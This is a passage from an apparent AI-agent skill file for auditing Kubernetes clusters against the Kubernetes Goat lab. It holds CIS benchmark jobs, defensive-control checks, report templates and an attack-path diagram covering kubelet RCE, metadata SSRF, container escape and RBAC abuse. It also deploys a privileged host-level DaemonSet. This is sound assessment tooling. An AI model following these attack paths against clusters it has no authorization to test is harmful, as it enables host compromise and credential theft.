- name: kube-bench
image: docker.io/aquasec/kube-bench:latest
command: [\"kube-bench\", \"run\", \"--targets\", \"master\"]
volumeMounts:
- name: var-lib-kubelet
mountPath: /var/lib/kubelet
readOnly: true
- name: etc-kubernetes
mountPath: /etc/kubernetes
readOnly: true
- name: etc-systemd
mountPath: /etc/systemd
readOnly: true
restartPolicy: Never
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
nodeSelector:
node-role.kubernetes.io/control-plane: \"\"
volumes:
- name: var-lib-kubelet
hostPath:
path: /var/lib/kubelet
- name: etc-kubernetes
hostPath:
path: /etc/kubernetes
- name: etc-systemd
hostPath:
path: /etc/systemd
EOF
2>/dev/null && sleep 15 && kubectl logs job/kube-bench-master 2>/dev/null | tail -60")
Key CIS checks that map to Kubernetes Goat scenarios:
| CIS Check | Finding | Scenario |
|---|---|---|
| 1.1.* | API server configuration | Scenario 6 |
| 1.2.1 | --anonymous-auth should be false | Scenario 3/16 |
| 1.2.6 | --authorization-mode should not include AlwaysAllow | Scenario 6 |
| 1.2.29 | --encryption-provider-config should be set | Scenario 8/12 |
| 1.2.33 | --audit-log-path should be set | Scenario 6 |
| 4.1.* | Worker node configuration | Scenario 5/6 |
| 4.2.1 | Kubelet --anonymous-auth should be false | Scenario 3 |
| 5.1.* | RBAC and ServiceAccounts | Scenario 16 |
| 5.2.* | Pod Security Standards | Scenario 4/5 |
10b. Container Runtime CIS Benchmark:
First detect the container runtime โ this determines which benchmark to run:
kali(command="kubectl get nodes -o jsonpath='{.items[0].status.nodeInfo.containerRuntimeVersion}' 2>/dev/null")
| Runtime | Benchmark | Notes |
|---|---|---|
containerd:// | kube-bench covers containerd via K8s CIS (Phase 10a) | Most modern clusters (kind, EKS, GKE, AKS) |
docker:// | docker-bench-security | Legacy Docker runtime only |
cri-o:// | kube-bench covers CRI-O via K8s CIS (Phase 10a) | OpenShift clusters |
Docker runtime only โ deploy docker-bench-security as a DaemonSet:
kali(command="kubectl apply -f - <<'EOF'
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: docker-bench
spec:
selector:
matchLabels:
name: docker-bench
template:
metadata:
labels:
name: docker-bench
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: docker-bench
image: docker/docker-bench-security
command: [\"sh\", \"-c\", \"docker-bench-security.sh && sleep 3600\"]
securityContext:
privileged: true
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock
readOnly: true
- name: etc
mountPath: /etc
readOnly: true
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
- name: etc
hostPath:
path: /etc
EOF
2>/dev/null && sleep 20 && kubectl logs ds/docker-bench 2>/dev/null | tail -40")
containerd/CRI-O runtime โ skip docker-bench-security (not applicable). The kube-bench run from Phase 10a already covers containerd-specific node configuration. Log a note explaining why docker-bench was skipped.
10c. API server configuration audit (manual):
kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -E 'anonymous-auth|authorization-mode|enable-admission|encryption-provider|audit-log|allow-privileged|insecure-port|service-account-lookup'")
Check these critical API server flags:
| Flag | Secure Value | Risk if Missing/Wrong |
|---|---|---|
--anonymous-auth | false | Unauthenticated API access |
--authorization-mode | Node,RBAC (no AlwaysAllow) | No authorization enforcement |
--enable-admission-plugins | Include PodSecurity, NodeRestriction | No workload restrictions |
--encryption-provider-config | Set to encryption config file | Secrets in plaintext in etcd |
--audit-log-path | Set to log file | No audit trail |
--insecure-port | 0 | Unauthenticated HTTP API |
--kubelet-certificate-authority | Set | No kubelet auth verification |
Phase 11 โ Defensive Controls Gap Analysis (thorough)
Check for the presence of security tools and controls. Their ABSENCE is a finding.
11a. Admission controllers:
kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'gatekeeper|kyverno|falco|tetragon|kubearmor|neuvector|twistlock|prisma|aqua|stackrox'")
kali(command="kubectl get validatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl get mutatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl api-resources 2>/dev/null | grep -iE 'constraint|policy|kyverno'")
No admission webhooks = Medium finding โ no policy enforcement beyond built-in controllers.
11b. Pod Security Standards enforcement:
kali(command="kubectl get namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for ns in d.get(\"items\", []):
name = ns[\"metadata\"][\"name\"]
labels = ns[\"metadata\"].get(\"labels\", {})
enforce = labels.get(\"pod-security.kubernetes.io/enforce\", \"NONE\")
audit = labels.get(\"pod-security.kubernetes.io/audit\", \"NONE\")
warn = labels.get(\"pod-security.kubernetes.io/warn\", \"NONE\")
if enforce == \"NONE\" and audit == \"NONE\" and warn == \"NONE\":
print(f\"MEDIUM: {name}: no PodSecurity labels (unrestricted workloads)\")
else:
print(f\"OK: {name}: enforce={enforce} audit={audit} warn={warn}\")
' 2>/dev/null")
11c. Runtime security monitoring:
kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig|cilium'")
kali(command="kubectl get daemonsets --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig'")
No runtime security tool = Medium finding โ no detection of container escape, sensitive file access, or suspicious process execution.
11d. Audit logging:
kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep audit")
No --audit-log-path = High finding โ all API actions are unlogged.
11e. Resource limits and quotas:
kali(command="kubectl get limitranges --all-namespaces 2>/dev/null")
kali(command="kubectl get resourcequotas --all-namespaces 2>/dev/null")
No LimitRange or ResourceQuota = Medium finding โ pods can consume unlimited resources (DoS vector).
11f. Image pull policy and allowed registries:
kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
for c in p[\"spec\"].get(\"containers\", []):
policy = c.get(\"imagePullPolicy\", \"IfNotPresent\")
image = c.get(\"image\", \"\")
# Flag: Always pull policy missing for latest tags
if \":latest\" in image and policy != \"Always\":
print(f\"LOW: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {image} with pullPolicy={policy}\")
# Flag: Docker Hub images without org/digest
if \"/\" not in image.split(\":\")[0] or (not image.startswith(\"gcr.io\") and not image.startswith(\"registry.\") and \"@sha256:\" not in image):
print(f\"INFO: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: unpinned image {image}\")
' 2>/dev/null | head -30")
Phase 12 โ Attack Path Diagram & Report
- Call
report(action="diagram", data={...})with a comprehensive attack path map showing all discovered vectors:
flowchart TD
EXT["External Attacker"]
API["K8s API :6443"]
ETCD["etcd :2379"]
KUB["Kubelet :10250"]
NP["NodePort Services"]
REG["Private Registry :5000"]
DASH["Dashboard"]
POD["Compromised Pod"]
SA["SA Token"]
HOST["Host Node"]
SECRETS["K8s Secrets"]
META["Cloud Metadata"]
CROSS["Cross-NS Services"]
EXT -->|"anon auth"| API
EXT -->|"unauthenticated"| ETCD
EXT -->|"anon /run RCE"| KUB
EXT -->|"scan 30000-32767"| NP
EXT -->|"/v2/_catalog"| REG
API -->|"cluster-admin SA"| DASH
API -->|"list all"| SECRETS
KUB -->|"exec"| POD
POD -->|"auto-mounted"| SA
POD -->|"hostPath/chroot"| HOST
POD -->|"SSRF"| META
POD -->|"flat network"| CROSS
SA -->|"RBAC abuse"| API
HOST -->|"admin.conf"| API
style EXT fill:#ff6b6b,color:#fff
style ETCD fill:#ff6b6b,color:#fff
style HOST fill:#ffaa00
style SECRETS fill:#ff6b6b,color:#fff
- Call
report(action="note", data={...})with assessment summary:
Container/K8s Security Assessment Summary:
Cluster version: [version]
API server auth: [anonymous/token/cert]
Kubelet auth: [anonymous/AlwaysAllow/Webhook]
etcd access: [exposed/authenticated/encrypted]
RBAC issues: [count] overly permissive roles
Privileged pods: [count]
Container escapes: [count] vectors ([docker.sock/containerd.sock/hostPath/privileged/chroot])
Secrets exposed: [count] ([env-vars/volumes/etcd-plaintext])
Image vulns: [critical] critical, [high] high
Hidden layer secrets: [count] images with secrets in layers
Network policies: [present/absent] ([count] namespaces without)
NodePort services: [count] externally accessible
Cross-NS connectivity: [verified/blocked]
Private registries: [count] unauthenticated
CIS benchmark: [pass] pass, [fail] fail, [warn] warn
Admission controllers: [present/absent] ([tools])
Runtime security: [present/absent] ([tools])
Audit logging: [enabled/disabled]
Resource limits: [enforced/missing]
Cloud metadata access: [accessible/blocked]
- Call
session(action="complete", options={...})with summary
Kubernetes Goat Scenario Coverage Map
This table maps each Kubernetes Goat attack scenario to the phase in this skill that detects it.
| # | Scenario | Phase | How We Detect It |
|---|---|---|---|
| 1 | Sensitive keys in codebases | 7d | .git exposure scan in running containers |
| 2 | DIND/containerd exploitation | 5a | Container runtime socket discovery + exploit |
| 3 | SSRF in K8s pod | 9d, 9e | Cloud metadata SSRF + K8s DNS service discovery |
| 4 | Container escape to host | 5b, 5c | Privileged escape via chroot + hostPath abuse |
| 5 | Docker CIS benchmarks | 10b | docker-bench-security audit |
| 6 | K8s CIS benchmarks | 10a | kube-bench CIS audit |
| 7 | Private registry attack | 8f | Registry /v2/_catalog + manifest env var extraction |
| 8 | NodePort exposed services | 2 | NodePort service enumeration + probing |
| 10 | Crypto miner in container | 8c, 8e | Image layer inspection + process monitoring |
| 11 | Namespace bypass | 9b, 9c | Cross-namespace connectivity test |
| 12 | Environment info gathering | 7c | Env var + mount + proc enumeration from inside pod |
| 13 | DoS via resources | 11e, 4 | LimitRange/ResourceQuota/resource limits audit |
| 14 | Hacker container | 6b, 11a | Pod creation RBAC + admission controller check |
| 15 | Hidden in layers | 8c, 8d | docker history + docker save layer extraction + dive |
| 16 | RBAC misconfiguration | 6a-6d | Full RBAC audit + SA token API testing |
| 17 | KubeAudit defense | 11a | Check for audit tools presence |
| 18 | Falco runtime detection | 11c | Check for Falco DaemonSet |
| 19 | Popeye sanitizer | 11a | Check for cluster sanitizer tools |
| 20 | NetworkPolicy defense | 9a | Check for NetworkPolicy presence |
| 21 | Tetragon/eBPF | 11c | Check for Tetragon/Cilium DaemonSet |
| 22 | Kyverno policy engine | 11a | Check for Kyverno admission webhooks |
Chaining Other Skills
| Skill | When to invoke |
|---|---|
/post-exploit | Container escape achieved โ post-exploitation on host node |
/credential-audit | Default creds found on exposed services (Redis, dashboards) |
/network-assess | Internal network beyond K8s (VLAN, ARP, broadcast protocols) |
/ssl-tls-audit | TLS services on K8s ingress or NodePorts โ deep TLS audit |
/threat-modeling | Produce PASTA threat model of the K8s architecture |
/gh-export | When user asks to file GitHub issues |
Context Recovery After Compaction
When your context is compacted mid-skill:
- Call
session(action="recovery")before doing anything else โ returnstools_already_run,in_progress_cells,pending_escalations, andEXECUTE_NOW - Resume
in_progresscells first โ notes record which escape vectors, RBAC bindings, or pod configurations were partially tested - Follow
pending_escalationsโ e.g., "test service account token against K8s API for cluster-admin" leads flagged mid-scan - Skip completed phases in
tools_already_runโ do not re-run trivy or kube-bench if already recorded - Never assert container escape from memory โ after compaction, re-run the confirming
amicontained/kubectl auth can-icommand before reporting
Rules
session(action="start", options={...})is mandatory โ never run any other tool before it- Batch independent tools in the same response โ they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call
session(action="complete", options={...}) - Check anonymous auth first โ unauthenticated K8s API and kubelet access are the most critical findings
- Enumerate service accounts โ they're the most common K8s attack vector
- Always check NodePort range โ these bypass ingress controls entirely
- Inspect image layers โ secrets hidden in deleted layers are invisible at runtime but persist in the image
- Test cross-namespace connectivity โ the flat network model is a lateral movement goldmine
- Check for SSRF to metadata โ cloud credentials via 169.254.169.254 from pods
- Verify defensive controls โ the ABSENCE of Falco, Kyverno, NetworkPolicies, audit logging is itself a finding
- Call
report(action="finding", data={...})for every confirmed weakness โ include the specific resource, misconfiguration, and impact - Test container escape only when authorized โ these can affect the underlying host
- Use
report(action="note", data={...})liberally โ document K8s version, RBAC findings, pod configurations - Never fabricate findings โ only report what tool output confirms
- Mermaid syntax rules: use
flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs - Call
session(action="stop_kali")at the end ifkali(command=...)was used